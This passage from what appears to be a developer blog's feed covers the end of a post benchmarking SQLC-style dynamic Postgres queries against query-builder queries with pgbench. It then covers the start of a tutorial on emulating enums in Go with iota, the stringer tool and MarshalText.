</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">WHEN</span> <span style="color:#ae81ff">4</span> <span style="color:#66d9ef">THEN</span> <span style="color:#e6db74">&#39;Model S&#39;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">END</span>) <span style="color:#66d9ef">AS</span> model,
</span></span><span style="display:flex;"><span>       (<span style="color:#66d9ef">CASE</span> FLOOR(RANDOM() <span style="color:#f92672">*</span> <span style="color:#ae81ff">5</span>)::INT
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">WHEN</span> <span style="color:#ae81ff">0</span> <span style="color:#66d9ef">THEN</span> <span style="color:#ae81ff">2024</span>
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">WHEN</span> <span style="color:#ae81ff">1</span> <span style="color:#66d9ef">THEN</span> <span style="color:#ae81ff">2023</span>
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">WHEN</span> <span style="color:#ae81ff">2</span> <span style="color:#66d9ef">THEN</span> <span style="color:#ae81ff">2022</span>
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">WHEN</span> <span style="color:#ae81ff">3</span> <span style="color:#66d9ef">THEN</span> <span style="color:#ae81ff">2021</span>
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">WHEN</span> <span style="color:#ae81ff">4</span> <span style="color:#66d9ef">THEN</span> <span style="color:#ae81ff">2020</span>
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">END</span>) <span style="color:#66d9ef">AS</span> <span style="color:#66d9ef">YEAR</span>,
</span></span><span style="display:flex;"><span>       (<span style="color:#66d9ef">CASE</span> FLOOR(RANDOM() <span style="color:#f92672">*</span> <span style="color:#ae81ff">3</span>)::INT
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">WHEN</span> <span style="color:#ae81ff">0</span> <span style="color:#66d9ef">THEN</span> <span style="color:#e6db74">&#39;Operational&#39;</span>
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">WHEN</span> <span style="color:#ae81ff">1</span> <span style="color:#66d9ef">THEN</span> <span style="color:#e6db74">&#39;Under maintenance&#39;</span>
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">WHEN</span> <span style="color:#ae81ff">2</span> <span style="color:#66d9ef">THEN</span> <span style="color:#e6db74">&#39;Totalled&#39;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">END</span>) <span style="color:#66d9ef">AS</span> <span style="color:#66d9ef">state</span>,
</span></span><span style="display:flex;"><span>       (<span style="color:#66d9ef">CASE</span> FLOOR(RANDOM() <span style="color:#f92672">*</span> <span style="color:#ae81ff">5</span>)::INT
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">WHEN</span> <span style="color:#ae81ff">0</span> <span style="color:#66d9ef">THEN</span> <span style="color:#e6db74">&#39;Red&#39;</span>
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">WHEN</span> <span style="color:#ae81ff">1</span> <span style="color:#66d9ef">THEN</span> <span style="color:#e6db74">&#39;Green&#39;</span>
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">WHEN</span> <span style="color:#ae81ff">2</span> <span style="color:#66d9ef">THEN</span> <span style="color:#e6db74">&#39;Blue&#39;</span>
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">WHEN</span> <span style="color:#ae81ff">3</span> <span style="color:#66d9ef">THEN</span> <span style="color:#e6db74">&#39;Black&#39;</span>
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">WHEN</span> <span style="color:#ae81ff">4</span> <span style="color:#66d9ef">THEN</span> <span style="color:#e6db74">&#39;White&#39;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">END</span>) <span style="color:#66d9ef">AS</span> color,
</span></span><span style="display:flex;"><span>       (<span style="color:#66d9ef">CASE</span> FLOOR(RANDOM() <span style="color:#f92672">*</span> <span style="color:#ae81ff">3</span>)::INT
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">WHEN</span> <span style="color:#ae81ff">0</span> <span style="color:#66d9ef">THEN</span> <span style="color:#e6db74">&#39;Diesel&#39;</span>
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">WHEN</span> <span style="color:#ae81ff">1</span> <span style="color:#66d9ef">THEN</span> <span style="color:#e6db74">&#39;Petrol&#39;</span>
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">WHEN</span> <span style="color:#ae81ff">2</span> <span style="color:#66d9ef">THEN</span> <span style="color:#e6db74">&#39;Electric&#39;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">END</span>) <span style="color:#66d9ef">AS</span> fuel_type,
</span></span><span style="display:flex;"><span>       (<span style="color:#66d9ef">CASE</span> FLOOR(RANDOM() <span style="color:#f92672">*</span> <span style="color:#ae81ff">3</span>)::INT
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">WHEN</span> <span style="color:#ae81ff">0</span> <span style="color:#66d9ef">THEN</span> <span style="color:#e6db74">&#39;Sedan&#39;</span>
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">WHEN</span> <span style="color:#ae81ff">1</span> <span style="color:#66d9ef">THEN</span> <span style="color:#e6db74">&#39;SUV&#39;</span>
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">WHEN</span> <span style="color:#ae81ff">2</span> <span style="color:#66d9ef">THEN</span> <span style="color:#e6db74">&#39;Hatchback&#39;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">END</span>) <span style="color:#66d9ef">AS</span> body_type
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">FROM</span> GENERATE_SERIES(<span style="color:#ae81ff">1</span>, <span style="color:#ae81ff">10000000</span>) seq;</span></span></code></pre></div>
<p>We&rsquo;ll then have two different queries - one that we&rsquo;d build with a query builder:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span><span style="color:#66d9ef">SELECT</span> <span style="color:#f92672">*</span> <span style="color:#66d9ef">FROM</span> cars
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">WHERE</span> brand <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;Ford&#39;</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">and</span> model <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;Model S&#39;</span>   
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">and</span> <span style="color:#66d9ef">year</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">2021</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">and</span> color <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;Green&#39;</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">and</span> fuel_type <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;Diesel&#39;</span>;</span></span></code></pre></div>
<p>And one where we&rsquo;d have some extra overhead from our SQLC approach:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span><span style="color:#66d9ef">SELECT</span> <span style="color:#f92672">*</span> <span style="color:#66d9ef">FROM</span> cars
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">WHERE</span> brand <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;Ford&#39;</span> 
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">AND</span> (<span style="color:#66d9ef">NOT</span> <span style="color:#66d9ef">true</span>::boolean <span style="color:#66d9ef">or</span> model <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;Model S&#39;</span>)
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">AND</span> (<span style="color:#66d9ef">NOT</span> <span style="color:#66d9ef">true</span>::boolean <span style="color:#66d9ef">or</span> <span style="color:#66d9ef">year</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">2021</span>)
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">AND</span> (<span style="color:#66d9ef">NOT</span> <span style="color:#66d9ef">false</span>::boolean <span style="color:#66d9ef">or</span> <span style="color:#66d9ef">state</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;&#39;</span>)
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">AND</span> (<span style="color:#66d9ef">NOT</span> <span style="color:#66d9ef">true</span>::boolean <span style="color:#66d9ef">or</span> color <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;Green&#39;</span>)
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">AND</span> (<span style="color:#66d9ef">NOT</span> <span style="color:#66d9ef">true</span>::boolean <span style="color:#66d9ef">or</span> fuel_type <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;Diesel&#39;</span>)
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">AND</span> (<span style="color:#66d9ef">NOT</span> <span style="color:#66d9ef">false</span>::boolean <span style="color:#66d9ef">or</span> body_type <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;&#39;</span>);</span></span></code></pre></div>
<p>I&rsquo;ve also added a composite index for these specific queries:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span><span style="color:#66d9ef">CREATE</span> <span style="color:#66d9ef">INDEX</span> idx_cars_brand_model_year_color_fuel 
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">ON</span> cars (brand, model, <span style="color:#66d9ef">year</span>, color, fuel_type);</span></span></code></pre></div>
<p>Armed with this, I&rsquo;ve spun up an instance of postgres in docker on my machine, created the schema and generated the dataset. I then pre-warmed the cache by executing a couple of pgbench runs but not logging any results.</p>
<p>From there, I ran pgbench 4 times:</p>
<pre tabindex="0"><code>pgbench -f builderq.sql --log --log-prefix=builder --transactions=10000 -j 5 -c 5
pgbench -f sqlcq.sql --log --log-prefix=sqlc --transactions=10000 -j 5 -c 5
pgbench -f builderq.sql --log --log-prefix=builder --transactions=1000 -j 5 -c 5
pgbench -f sqlcq.sql --log --log-prefix=sqlc --transactions=10000 -j 5 -c 5
</code></pre><p>And these are the latencies for both queries after being run through plotly:</p>















  
  
  
  



















<div style="display: flex; justify-content: center;">
<a href="https://dizzy.zone/2024/07/03/SQLC-dynamic-queries/nolimit.png" target="_blank" style="box-shadow: none;"> 
<img 
  sizes="(min-width: 35em) 1200px, 100vw"
  srcset='
  /2024/07/03/SQLC-dynamic-queries/nolimit_hu_209ff8e91bd96e05.png 500w,
  /2024/07/03/SQLC-dynamic-queries/nolimit_hu_960ff15e55f95778.png 800w,
  /2024/07/03/SQLC-dynamic-queries/nolimit_hu_2c7005c0d7bccdc6.png 1200w,
  /2024/07/03/SQLC-dynamic-queries/nolimit_hu_2ee22fe9a74e8679.png 1500w'
  src="https://dizzy.zone/2024/07/03/SQLC-dynamic-queries/nolimit_hu_2c7005c0d7bccdc6.png" 
  alt="Box plot showing the results of the benchmark without a limit">
</a>
</div>
<p>There is very little difference between the two, with SQLC approach having a larger number of outliers. Despite this, I would state that there is no significant difference between the two.</p>
<p>I then re-ran the experiment, only this time introduced a limit of 1 on both queries. My thought process was that this would perhaps allow the faster(in theory) query to shine, since we would not have to spend so much time transferring data. Here is the box plot:</p>















  
  
  
  



















<div style="display: flex; justify-content: center;">
<a href="https://dizzy.zone/2024/07/03/SQLC-dynamic-queries/limit.png" target="_blank" style="box-shadow: none;"> 
<img 
  sizes="(min-width: 35em) 1200px, 100vw"
  srcset='
  /2024/07/03/SQLC-dynamic-queries/limit_hu_13bc98f16de8a8af.png 500w,
  /2024/07/03/SQLC-dynamic-queries/limit_hu_5766f9764e6c9ded.png 800w,
  /2024/07/03/SQLC-dynamic-queries/limit_hu_ace407ecccfbcf38.png 1200w,
  /2024/07/03/SQLC-dynamic-queries/limit_hu_e9eb76319b8375c.png 1500w'
  src="https://dizzy.zone/2024/07/03/SQLC-dynamic-queries/limit_hu_ace407ecccfbcf38.png" 
  alt="Box plot showing the results of the benchmark without a limit">
</a>
</div>
<p>The SQLC approach does seem a tad slower here, but not by a lot.</p>
<p>In conclusion, there is very little difference in terms of performance for these queries, meaning that using the a bunch of <code>AND</code>s to implement dynamic querying in SQLC is something you can do without fear of massive performance repercussions. Your mileage may vary and in extreme cases this might not be these - always benchmark your own use cases.</p>
<p>The only price you pay for manually constructing the dynamic queries is the manual work involved in writing the queries &amp; mapping of values from the request parameters to the query parameters.</p>
<p>Thanks for reading! If you&rsquo;ve enjoyed my babbling you might also like my post on <a href="https://dizzy.zone/2024/01/02/SQL-string-constant-gotcha/" title="SQL string constant gotcha">SQL string constant gotcha</a>.</p>
]]></content:encoded>
        </item>
        <item>
            <title>Enums in Go</title>
            <link>https://dizzy.zone/2024/01/26/Enums-in-Go/</link>
            <pubDate>Fri, 26 Jan 2024 12:11:20 +0200</pubDate>
            
            <guid>https://dizzy.zone/2024/01/26/Enums-in-Go/</guid>
            <description><![CDATA[ <p>I&rsquo;ve seen many discussions about whether Go should add enum support to the language. I&rsquo;m not going to bother arguing for or against but instead show how to make do with what we have in the language now.</p>
<h3 id="a-very-short-enum-intro">A very short enum intro</h3>
<p>Enumerated types, or enums, represent finite sets of named values. They are usually introduced to signal that variables can only take one of the predefined values for the enum. For example, we could have an enum called <code>Colors</code> with members <code>Red</code>, <code>Green</code>, <code>Blue</code>. Usually, the members are represented as integer values, starting from zero. In this case, <code>Red</code> would correspond to 0, <code>Green</code> to 1 and <code>Blue</code> to 2 with <code>Red</code>, <code>Green</code> and <code>Blue</code> being the names of corresponding members. They help simplify the code as they are self-documenting and explicitly list all possible values for the given type. In many languages enums will also return compile errors if you&rsquo;ll try to assign to an invalid value. However, since enums do not exist in Go, we do not have such guarantees.</p>]]></description>
            <content:encoded><![CDATA[ <p>I&rsquo;ve seen many discussions about whether Go should add enum support to the language. I&rsquo;m not going to bother arguing for or against but instead show how to make do with what we have in the language now.</p>
<h3 id="a-very-short-enum-intro">A very short enum intro</h3>
<p>Enumerated types, or enums, represent finite sets of named values. They are usually introduced to signal that variables can only take one of the predefined values for the enum. For example, we could have an enum called <code>Colors</code> with members <code>Red</code>, <code>Green</code>, <code>Blue</code>. Usually, the members are represented as integer values, starting from zero. In this case, <code>Red</code> would correspond to 0, <code>Green</code> to 1 and <code>Blue</code> to 2 with <code>Red</code>, <code>Green</code> and <code>Blue</code> being the names of corresponding members. They help simplify the code as they are self-documenting and explicitly list all possible values for the given type. In many languages enums will also return compile errors if you&rsquo;ll try to assign to an invalid value. However, since enums do not exist in Go, we do not have such guarantees.</p>
<h3 id="defining-a-custom-type">Defining a custom type</h3>
<p>Usually, one of the first steps of defining an enum in Go is to define a custom type for it. There are 2 commonly used types for this purpose, <code>string</code> and <code>int</code>. Let&rsquo;s start with strings:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#66d9ef">type</span> <span style="color:#a6e22e">Color</span> <span style="color:#66d9ef">string</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">const</span> (
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">Red</span>   <span style="color:#a6e22e">Color</span> = <span style="color:#e6db74">&#34;red&#34;</span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">Green</span> <span style="color:#a6e22e">Color</span> = <span style="color:#e6db74">&#34;green&#34;</span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">Blue</span>  <span style="color:#a6e22e">Color</span> = <span style="color:#e6db74">&#34;blue&#34;</span>
</span></span><span style="display:flex;"><span>)</span></span></code></pre></div>
<p>I actively avoid defining my enums in this style, since using strings increases the likelihood of errors. You don&rsquo;t really know if the enum members are defined in uppercase, lowercase, title case or something else entirely. Besides, there is a high chance of miss-spelling the strings both in the definition and subsequent use and <code>blue</code> becomes <code>bleu</code>. I also often use bitmasks so that might influence my judgement, but I&rsquo;ll talk about bitmasks in a separate post at some point.</p>
<p>For these reasons I prefer an int declaration:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#66d9ef">type</span> <span style="color:#a6e22e">Color</span> <span style="color:#66d9ef">int</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">const</span> (
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">Red</span>   <span style="color:#a6e22e">Color</span> = <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">Green</span> <span style="color:#a6e22e">Color</span> = <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">Blue</span>  <span style="color:#a6e22e">Color</span> = <span style="color:#ae81ff">2</span>
</span></span><span style="display:flex;"><span>)</span></span></code></pre></div>
<p>Keep in mind that this is highly subjective and people will have their own preferences. Also, the int definition does not read as nicely when displayed, but we will fix that later.</p>
<h3 id="iota-in-go">Iota in go</h3>
<p>In the colors example, I&rsquo;m only using three colors, but what if we had 5, 10 or 20 of them? It would be quite tedious to assign values to each and every single one of them. Luckily, we can simplify this by using the <code>iota</code> keyword that Go provides:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#66d9ef">type</span> <span style="color:#a6e22e">Color</span> <span style="color:#66d9ef">int</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">const</span> (
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">Red</span> <span style="color:#a6e22e">Color</span> = <span style="color:#66d9ef">iota</span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">Green</span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">Blue</span>
</span></span><span style="display:flex;"><span>)
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">fmt</span>.<span style="color:#a6e22e">Println</span>(<span style="color:#a6e22e">Red</span>, <span style="color:#a6e22e">Green</span>, <span style="color:#a6e22e">Blue</span>) <span style="color:#75715e">// 0 1 2</span></span></span></code></pre></div>
<p>Iota acts as syntactic sugar, automatically incrementing the value for each successive integer constant in a constant declaration.</p>
<p>If we&rsquo;d like to start at another number, we can achieve this with the following:
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#66d9ef">type</span> <span style="color:#a6e22e">Color</span> <span style="color:#66d9ef">int</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">const</span> (
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">Red</span> <span style="color:#a6e22e">Color</span> = <span style="color:#66d9ef">iota</span> <span style="color:#f92672">+</span> <span style="color:#ae81ff">42</span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">Green</span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">Blue</span>
</span></span><span style="display:flex;"><span>)
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">fmt</span>.<span style="color:#a6e22e">Println</span>(<span style="color:#a6e22e">Red</span>, <span style="color:#a6e22e">Green</span>, <span style="color:#a6e22e">Blue</span>) <span style="color:#75715e">// 42 43 44</span></span></span></code></pre></div></p>
<p>You can also use a variety of expressions on iota but I hardly recommend that except for the most trivial of cases as this leads to code that is hard to read and comprehend. One of the common use cases of such expressions which is still readable is defining bitmasks:
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#66d9ef">type</span> <span style="color:#a6e22e">Color</span> <span style="color:#66d9ef">int</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">const</span> (
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">Red</span> <span style="color:#a6e22e">Color</span> = <span style="color:#ae81ff">1</span> <span style="color:#f92672">&lt;&lt;</span> <span style="color:#66d9ef">iota</span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">Green</span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">Blue</span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">_</span> <span style="color:#75715e">// this skips one value</span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">Yellow</span>
</span></span><span style="display:flex;"><span>)
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">fmt</span>.<span style="color:#a6e22e">Println</span>(<span style="color:#a6e22e">Red</span>, <span style="color:#a6e22e">Green</span>, <span style="color:#a6e22e">Blue</span>, <span style="color:#a6e22e">Yellow</span>) <span style="color:#75715e">// 1 2 4 16</span></span></span></code></pre></div></p>
<p>For more on iota, please refer to the <a href="https://go.dev/ref/spec#Iota">Go spec</a>.</p>
<p>One thing to note is that you should be very careful when making changes to already established constant declarations with iota. It&rsquo;s easy to cause headaches if you remove or change the order of members as these could have already been saved to a database or stored in some other way. Once you ingest those, what was once blue might become red so keep that in mind.</p>
<p>While such declarations might suffice as an enum in some circumstances you usually will expect more from your enum. For starters, you&rsquo;d like to be able to return the name of the member. Right now, a <code>fmt.Print(Red)</code> will print <code>0</code>, but how would we print the name? How would I determine if <code>4</code> is valid color or not? I&rsquo;m also able to define a custom color by simply defining a variable <code>var Brown Color = 7</code>. What if I&rsquo;d like to marshal my enum to their string representation when returning this via an API? Let&rsquo;s see how we can address some of these concerns.</p>
<h3 id="getting-the-member-name">Getting the member name</h3>
<p>Since we&rsquo;ve defined Color as a custom type we can implement the <a href="https://pkg.go.dev/fmt#Stringer">stringer</a> interface on it to get the member names.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#66d9ef">func</span> (<span style="color:#a6e22e">c</span> <span style="color:#a6e22e">Color</span>) <span style="color:#a6e22e">String</span>() <span style="color:#66d9ef">string</span> {
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">switch</span> <span style="color:#a6e22e">c</span> {
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">case</span> <span style="color:#ae81ff">0</span>:
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">return</span> <span style="color:#e6db74">&#34;Red&#34;</span>
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">case</span> <span style="color:#ae81ff">1</span>:
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">return</span> <span style="color:#e6db74">&#34;Green&#34;</span>
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">case</span> <span style="color:#ae81ff">2</span>:
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">return</span> <span style="color:#e6db74">&#34;Blue&#34;</span>
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">return</span> <span style="color:#a6e22e">fmt</span>.<span style="color:#a6e22e">Sprintf</span>(<span style="color:#e6db74">&#34;Color(%q)&#34;</span>, int(<span style="color:#a6e22e">c</span>))
</span></span><span style="display:flex;"><span>}</span></span></code></pre></div>
<p>We can now print the name by calling the <code>.String()</code> method on any of the <code>Color</code> and get the names out. There are many ways one could implement this method but all of them have the same caveat - whenever I add a new color in my constant declaration, I will also need to modify the <code>.String()</code> method. Should I forget to do so, I&rsquo;ll have a bug on my hands.</p>
<p>Luckily, we can leverage code generation with the <a href="https://pkg.go.dev/golang.org/x/tools/cmd/stringer">stringer tool</a> can help us. It can generate the code required for our Color enum to implement the stringer interface. You&rsquo;ll need to have the stringer tool installed so run <code>go install golang.org/x/tools/cmd/stringer@latest</code> to do that. Afterwards, include the following directive, I usually plop it right above my enum type declaration:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#75715e">//go:generate stringer -type=Color</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">type</span> <span style="color:#a6e22e">Color</span> <span style="color:#66d9ef">int</span></span></span></code></pre></div>
<p>If you run <code>go generate ./...</code> you&rsquo;ll see a <code>colors_string.go</code> file appear, with the stringer interface implemented, allowing you to access the names of the members like so:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#a6e22e">fmt</span>.<span style="color:#a6e22e">Println</span>(<span style="color:#a6e22e">Red</span>.<span style="color:#a6e22e">String</span>(), <span style="color:#a6e22e">Green</span>.<span style="color:#a6e22e">String</span>(), <span style="color:#a6e22e">Blue</span>.<span style="color:#a6e22e">String</span>()) <span style="color:#75715e">// Red Green Blue</span></span></span></code></pre></div>
<h3 id="marshalling-and-unmarshalling">Marshalling and unmarshalling</h3>
<p>If we use our <code>Color</code> enum in a struct and marshal it it will be represented as int:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#66d9ef">type</span> <span style="color:#a6e22e">MyResponse</span> <span style="color:#66d9ef">struct</span> {
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">Color</span> <span style="color:#a6e22e">Color</span>
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">bts</span>, <span style="color:#a6e22e">_</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">json</span>.<span style="color:#a6e22e">Marshal</span>(<span style="color:#a6e22e">MyResponse</span>{<span style="color:#a6e22e">Color</span>: <span style="color:#a6e22e">Blue</span>})
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">fmt</span>.<span style="color:#a6e22e">Println</span>(string(<span style="color:#a6e22e">bts</span>)) <span style="color:#75715e">// {&#34;Color&#34;:4}</span></span></span></code></pre></div>
<p>Sometimes, this behavior might suit you. For instance, you might be OK if the value is stored as an integer however if you&rsquo;re exposing this information to the end user it might make sense to display the color name instead. To achieve this, we can implement the <code>MarshalText() ([]byte, error)</code> method for our <code>Color</code> enum. I&rsquo;m specifically implementing the <code>MarshalText</code> over <code>MarshalJSON</code> as the latter falls back to using <code>MarshalText</code> internally in the std libs json library. This means that by implementing it we will get the color represented as string in the marshalled form for both JSON, XML and text representations and, depending on the implementation, perhaps other formats and libraries.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#66d9ef">func</span> (<span style="color:#a6e22e">c</span> <span style="color:#a6e22e">Color</span>) <span style="color:#a6e22e">MarshalText</span>() ([]<span style="color:#66d9ef">byte</span>, <span style="color:#66d9ef">error</span>) {
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">return</span> []byte(<span style="color:#a6e22e">c</span>.<span style="color:#a6e22e">String</span>()), <span style="color:#66d9ef">nil</span>
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#75715e">// ...</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">bts</span>, <span style="color:#a6e22e">_</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">json</span>.<span style="color:#a6e22e">Marshal</span>(<span style="color:#a6e22e">MyResponse</span>{<span style="color:#a6e22e">Color</span>: <span style="color:#a6e22e">Blue</span>})
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">fmt</span>.<span style="color:#a6e22e">Println</span>(string(<span style="color:#a6e22e">bts</span>)) <span style="color:#75715e">// {&#34;Color&#34;:&#34;Blue&#34;}</span></span></span></code></pre></div>
<p>If we&rsquo;d like to accept string colors as input, we&rsquo;ll have to do a bit more work. First, we&rsquo;ll need to be able to determine if a given string is a valid color for our enum or not. To achieve this, let&rsquo;s implement a <code>ParseColor</code> function</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#66d9ef">var</span> <span style="color:#a6e22e">ErrInvalidColor</span> = <span style="color:#a6e22e">errors</span>.<span style="color:#a6e22e">New</span>(<span style="color:#e6db74">&#34;invalid color&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">func</span> <span style="color:#a6e22e">ParseColor</span>(<span style="color:#a6e22e">in</span> <span style="color:#66d9ef">string</span>) (<span style="color:#a6e22e">Color</span>, <span style="color:#66d9ef">error</span>) {
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">switch</span> <span style="color:#a6e22e">in</span> {
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">case</span> <span style="color:#a6e22e">Red</span>.<span style="color:#a6e22e">String</span>():
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">return</span> <span style="color:#a6e22e">Red</span>, <span style="color:#66d9ef">nil</span>
